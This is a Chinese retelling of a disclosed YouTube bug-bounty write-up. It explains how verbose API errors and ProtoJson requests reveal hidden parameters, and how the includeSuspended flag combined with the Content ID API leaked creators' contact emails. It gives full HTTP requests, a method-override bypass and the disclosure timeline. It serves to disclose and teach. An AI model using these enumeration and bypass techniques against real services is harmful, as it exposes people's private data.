掘秘YouTube:隐藏API参数如何泄露创作者邮箱?
嘿,各位想象一下,你精心运营的YouTube频道,它的背后竟然隐藏着可能泄露你隐私信息的API漏洞!
今天,国外白帽小哥就带你走进一个惊险刺激的网络安全探秘之旅,揭示YouTube API中的一处“小秘密”,如何被层层揭开,最终导致创作者邮箱泄露。这不仅仅是一个技术故事,更是一堂生动的网络安全课。
初探迷雾:Google API的“调试之声”
故事的起点,是一位白帽小哥在把玩Google API(应用程序编程接口)请求时,一项“反常规”的发现。他注意到,当向Google API端点发送一个带有错误参数类型的请求时,API竟然会“好心”地返回关于该参数的调试信息!
例如,他尝试向YouTube的/youtubei/v1/browse
接口发送一个POST请求,其中browseId
本应是一个字符串,却被他故意设置成了一个整数1
。结果呢?
服务器立刻返回了一个HTTP/2 400 Bad Request错误,错误信息清晰地指出了browse_id
的值无效,并且明确地告诉他,这个参数的类型应该是字符串(TYPE_STRING)。这就像是你问一个问题方式不对,对方不仅指出了你的错误,还顺带把正确的问题格式告诉你了。
POST /youtubei/v1/browse HTTP/2
Host: youtubei.googleapis.com
Content-Type: application/json
Content-Length: 164
{
"context": {
"client": {
"clientName": "WEB",
"clientVersion": "2.20241101.01.00",
}
},
"browseId": 1
}
服务器实际期望browseId
是像"UCX6OQ3DkcsbYNE6H8uQQuVA"
这样的字符串。
响应
HTTP/2 400 Bad Request
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2
{
"error": {
"code": 400,
"message": "Invalid value at 'browse_id' (TYPE_STRING), 1",
"errors": [
{
"message": "Invalid value at 'browse_id' (TYPE_STRING), 1",
"reason": "invalid"
}
],
"status": "INVALID_ARGUMENT",
...
}
}
正常情况下,YouTube API主要使用JSON格式进行通信,但它还支持一种不那么常见的格式——application/json+protobuf
,也被称为ProtoJson。
ProtoJson的独特之处在于,它允许你以数组的形式传递参数值,而无需明确参数名称。白帽小哥灵光一闪:如果我发送一个包含一系列随机数字的ProtoJson请求,比如[1,2,3...30]
,API会不会把所有可能的参数名称和它们预期的类型都告诉我呢?
果然,当他发送了这样一个“乱序”请求后,API毫不犹豫地吐出了一个包含近三十个参数的“错误”信息,其中详细列举了每一个参数的名称及其正确的数据类型,例如context
、browse_id
、params
、continuation
等等。这简直就是一份活生生的API参数字典 !
POST /youtubei/v1/browse HTTP/2
Host: youtubei.googleapis.com
Content-Type: application/json+protobuf
Content-Length: 22
[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30]
响应
HTTP/2 400 Bad Request
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2
{
"error": {
"code": 400,
"message": "Invalid value at 'context' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext), 1\nInvalid value at 'browse_id' (TYPE_STRING), 2\nInvalid value at 'params' (TYPE_STRING), 3\nInvalid value at 'continuation' (TYPE_STRING), 7\nInvalid value at 'force_ad_format' (TYPE_STRING), 8\nInvalid value at 'player_request' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.PlayerRequest), 10\nInvalid value at 'query' (TYPE_STRING), 11\nInvalid value at 'has_external_ad_vars' (TYPE_BOOL), 12\nInvalid value at 'force_ad_parameters' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ForceAdParameters), 13\nInvalid value at 'previous_ad_information' (TYPE_STRING), 14\nInvalid value at 'offline' (TYPE_BOOL), 15\nInvalid value at 'unplugged_sort_filter_options' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedSortFilterOptions), 16\nInvalid value at 'offline_mode_forced' (TYPE_BOOL), 17\nInvalid value at 'form_data' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseFormData), 18\nInvalid value at 'suggest_stats' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.SearchboxStats), 19\nInvalid value at 'lite_client_request_data' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.LiteClientRequestData), 20\nInvalid value at 'unplugged_browse_options' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedBrowseOptions), 22\nInvalid value at 'consistency_token' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ConsistencyToken), 23\nInvalid value at 'intended_deeplink' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DeeplinkData), 24\nInvalid value at 'android_extended_permissions' (TYPE_BOOL), 25\nInvalid value at 'browse_notification_params' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseNotificationsParams), 26\nInvalid value at 'recent_user_event_infos' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.RecentUserEventInfo), 28\nInvalid value at 'detected_activity_info' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DetectedActivityInfo), 30",
...
}
}
为了自动化这个“参数字典生成”的过程,白帽小哥专门开发了一款名为req2proto的工具。
$ ./req2proto -X POST -u https://youtubei.googleapis.com/youtubei/v1/browse -p youtube.api.pfiinnertube.GetBrowseRequest -o output -d 3
如果查看output/youtube/api/pfiinnertube/message.proto
的输出,研究人员可以发现该端点的完整请求Payload。
syntax = "proto3";
package youtube.api.pfiinnertube;
message GetBrowseRequest {
InnerTubeContext context = 1;
string browse_id = 2;
string params = 3;
string continuation = 7;
string force_ad_format = 8;
int32 debug_level = 9;
PlayerRequest player_request = 10;
string query = 11;
...
}
...
有了这些发现,研究人员开始着手寻找其他可能存在隐藏参数并泄露调试信息的API端点。
深入腹地:看似“安全”的接口
如果你曾检查过YouTube Studio用于加载“Earn”选项卡的请求,也许会注意到有这样一条请求:
POST /youtubei/v1/creator/get_creator_channels?alt=json HTTP/2
Host: studio.youtube.com
Content-Type: application/json
Cookie: <redacted>
{
"context": {
...
},
"channelIds": [
"UCeGCG8SYUIgFO13NyOe6reQ"
],
"mask": {
"channelId": true,
"monetizationStatus": true,
"monetizationDetails": {
"all": true
},
...
}
}
该请求用于获取并显示在“盈利”选项卡中的用户自己的频道数据,但实际上它也能够获取其它频道的元数据,尽管可用的掩码(mask)非常有限。
请求
POST /youtubei/v1/creator/get_creator_channels?alt=json HTTP/2
Host: studio.youtube.com
Content-Type: application/json
Cookie: <redacted>
{
"context": {
...
},
"channelIds": [
"UCdcUmdOxMrhRjKMw-BX19AA"
],
"mask": {
"channelId": true,
"title": true,
"thumbnailDetails": {
"all": true
},
"metric": {
"all": true
},
"timeCreatedSeconds": true,
"isNameVerified": true,
"channelHandle": true
}
}
响应
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2
{
"channels": [
{
"channelId": "UCdcUmdOxMrhRjKMw-BX19AA",
"title": "Niko Omilana",
...
"metric": {
"subscriberCount": "7700000",
"videoCount": "142",
"totalVideoViewCount": "650836435"
},
"timeCreatedSeconds": "1308700645",
"isNameVerified": true,
"channelHandle": "@Niko",
}
]
}
这些掩码参数看起来相当安全,如果研究人员尝试请求任何其他可能对无权访问的频道敏感的掩码,API会返回“权限被拒绝(Permission denied)”的错误信息。
{
"error": {
"code": 403,
"message": "The caller does not have permission",
"errors": [
{
"message": "The caller does not have permission",
"domain": "global",
"reason": "forbidden"
}
],
"status": "PERMISSION_DENIED"
}
}
惊人发现:两个“隐形”参数浮出水面
然而,当研究人员使用req2proto工具解析此API端点的请求时,他们意外发现了两个秘密的隐藏参数。
syntax = "proto3";
package youtube.api.pfiinnertube;
message GetCreatorChannelsRequest {
InnerTubeContext context = 1;
string channel_ids = 2;
CreatorChannelMask mask = 4;
DelegationContext delegation_context = 5;
bool critical_read = 6; // ???
bool include_suspended = 7; // ???
}
研究人员发现,启用criticalRead
参数似乎没有带来任何改变,但include_suspended
参数的发现却意义重大。
{
...
"contentOwnerAssociation": {
"externalContentOwnerId": "Ks_zqCBHrAbeQqsVRGL7gw",
"createTime": {
"seconds": "1693939737",
"nanos": 472296000
},
"permissions": {
"canWebClaim": true,
"canViewRevenue": true
},
"isDefaultChannel": false,
"activateTime": {
"seconds": "1693939737",
"nanos": 472296000
}
},
...
}
这个参数能够获取YouTube频道的contentOwnerAssociation
(内容所有者关联)信息,那么,“内容所有者关联”究竟是怎样的呢?
深入解析内容ID
在YouTube平台中,存在一种特殊账户,即“内容管理者(Content Manager)”,仅授予少数受信任的版权所有者。
这类账户拥有独特权限,可以将音频或视频作为资产上传至Content ID(内容识别系统),从而自动识别并对任何包含相同音视频内容的外部视频发起版权主张。
这些账户的权限非常敏感,因为内容管理者可以通过此功能,将发现的包含相似音视频内容的视频进行货币化。因此,这些特殊账户仅限于那些具有“复杂版权管理需求”的大型版权方。
值得一提的是,YouTube也为三百万已开启收益功能的创作者提供了简化版的内容管理工具,即“版权匹配工具(Copyright Match Tool)” 。该工具只允许创作者要求撤下使用其内容的视频,而不能将其“货币化”。
有趣的是,这款工具的后端技术与“内容管理者”账户所使用的技术是相同的。一旦某个频道开通了收益功能,系统便会自动创建一个CONTENT_OWNER_TYPE_IVP
类型的内容所有者账户。
{
"contentOwnerId": "Ks_zqCBHrAbeQqsVRGL7gw",
"displayName": "Nia",
"type": "CONTENT_OWNER_TYPE_IVP",
"industryType": "INDUSTRY_TYPE_WEB",
"primaryContactEmail": "<redacted>@gmail.com",
"timeCreatedSeconds": "1693939736",
"traits": {
"isLongTail": true,
"isAffiliate": false,
"isManagedTorso": false,
"isPremium": false,
"isUserLevelCidClaimUpdateable": false,
"isTorso": false,
"isFingerprintEnabled": false,
"isBrandconnectAgency": false,
"isTwoStepVerificationRequirementExempt": false
},
"country": "FI"
}
有趣的事实:“IVP”实际上是“Individual Video Partnership”(个人视频合作)的缩写,这是YouTube合作伙伴计划的旧称!
因此,研究人员可以获取绑定到频道的“IVP内容所有者”的contentOwnerId
(内容所有者ID)。
那么,这个ID究竟有何用处呢?经过一番探索,研究人员发现了YouTube Content ID API(YouTube内容ID API),这是一个专为拥有“内容管理者”账户的版权方设计的API。其中,contentOwners.list
接口显得尤为引人注目。该接口接收一个内容所有者ID,并返回其“冲突通知电子邮件”。
不幸的是,研究人员发现该API似乎会验证其是否具备“内容管理者”账户权限,并对所有请求一律返回“禁止访问(Forbidden)”错误。
{
"error": {
"code": 403,
"message": "Forbidden",
"errors": [
{
"message": "Forbidden",
"domain": "global",
"reason": "forbidden"
}
]
}
}
尽管此接口主要面向拥有“内容管理器”账户的用户,研究人员仍猜测“IVP内容所有者”类型账户或许也能调用成功。
为了验证这一设想,研究人员邀请了一位拥有已开启收益功能YouTube频道的朋友在API Explorer中进行测试。结果表明,该调用确实成功了。
{
"kind": "youtubePartner#contentOwnerList",
"items": [
{
"kind": "youtubePartner#contentOwner",
"id": "kdVwk95TnaCSLJJfyIFoqw",
"displayName": "omilana7",
"conflictNotificationEmail": "<redacted>@yahoo.co.uk"
}
]
}
冲突通知电子邮件是频道开通收益功能时的注册邮箱!
有趣的是,尽管该API在API Explorer中能够正常工作,但由于它仅允许具备实际“内容管理者”账户的用户访问,因此无法将其直接集成到自己的Google Cloud项目中。不过研究人员只需使用API Explorer的客户端即可调用此API。
组合攻击,成功获取机密信息
研究人员现已掌握了发起攻击的两大关键要素,接下来便是将它们整合起来!
- 首先,通过启用
includeSuspended: true
参数,向/get_creator_channels
接口发送请求,以获取受害者的IVP内容所有者ID。 - 接着,利用与已开启收益功能的YouTube频道关联的Google账户,借助Content ID API Explorer(内容ID API探索器)获取受害者IVP内容所有者的“冲突通知电子邮件”。
- 最后,成功获取所需信息 !
视频演示:https://youtu.be/2daV4tDmyJo
漏洞事件时间线
- 2024-12-12 – 研究人员向供应商提交漏洞报告。
- 2024-12-16 – 供应商对报告进行了初步分类。
- 2024-12-17 – 🎉 供应商确认漏洞存在,并给予积极评价!
- 2025-01-21 – 漏洞评审小组奖励了$13,337美金。理由是该漏洞属于“绕过重要安全控制”,涉及个人身份信息(PII)或其它机密信息的泄露,且发生在常规Google应用程序中。
- 2025-01-21 – 研究人员向供应商澄清,此次奖励是在“常规Google应用程序”类别下获得的,然而,
www.youtube.com
和studio.youtube.com
属于Tier 1(最高级别)域名,重要性更高。详情可参见:https://github.com/google/bughunters/blob/main/domain-tiers/external_domains_google.asciipb 。 - 2025-01-23 – 评审小组额外追加奖励$6,663美金,理由是该漏洞存在于可能泄露特别敏感用户数据的域名中,且漏洞类别仍为“绕过重要安全控制”,涉及PII或其他机密信息。
- 2025-02-10 – 研究人员与供应商协调,将漏洞披露日期定为2025-03-13。
- 2025-02-13 – 🎉 Google VRP(漏洞奖励计划)向研究人员发出了周边纪念品!
- 2025-02-21 – 供应商确认问题已修复(自披露之日起第71天)。
- 2025-03-13 – 漏洞报告正式对外公开。
额外说明
事实证明,includeSuspended
参数的秘密并非只能通过暴力破解或调试信息泄露来发现,它也可以从InnerTube的发现文档中找到。
当研究人员尝试以常规方式获取发现文档时,他们收到了以下错误信息。
请求
GET /$discovery/rest HTTP/2
Host: youtubei.googleapis.com
响应
HTTP/2 405 Method Not Allowed
Content-Type: text/html; charset=UTF-8
youtubei.googleapis.com
似乎配置了某些ESPv2规则,出于未知原因阻止了GET请求。
研究人员很快发现,他们可以通过发送POST请求,然后利用X-Http-Method-Override
请求头将其覆盖为GET请求,从而成功绕过GET请求的限制。
请求
POST /$discovery/rest HTTP/2
Host: youtubei.googleapis.com
X-Http-Method-Override: GET
响应
HTTP/2 200
content-type: application/json; charset=UTF-8
{
"baseUrl": "https://youtubei.googleapis.com/",
"title": "YouTube Internal API (InnerTube)",
"documentationLink": "http://go/itgatewa",
...
}
更新 2025-03-01:此后,生产环境(存档)和Staging环境(存档)的发现文档已被移除。
如果研究人员在文档中搜索“GetCreatorChannelsRequest”,他们便能找到includeSuspended
参数。
...
"YoutubeApiInnertubeGetCreatorChannelsRequest": {
"id": "YoutubeApiInnertubeGetCreatorChannelsRequest",
"properties": {
"channelIds": {
"items": {
"type": "string"
},
"type": "array"
},
...
"includeSuspended": {
"type": "boolean"
},
...
},
"type": "object"
},
...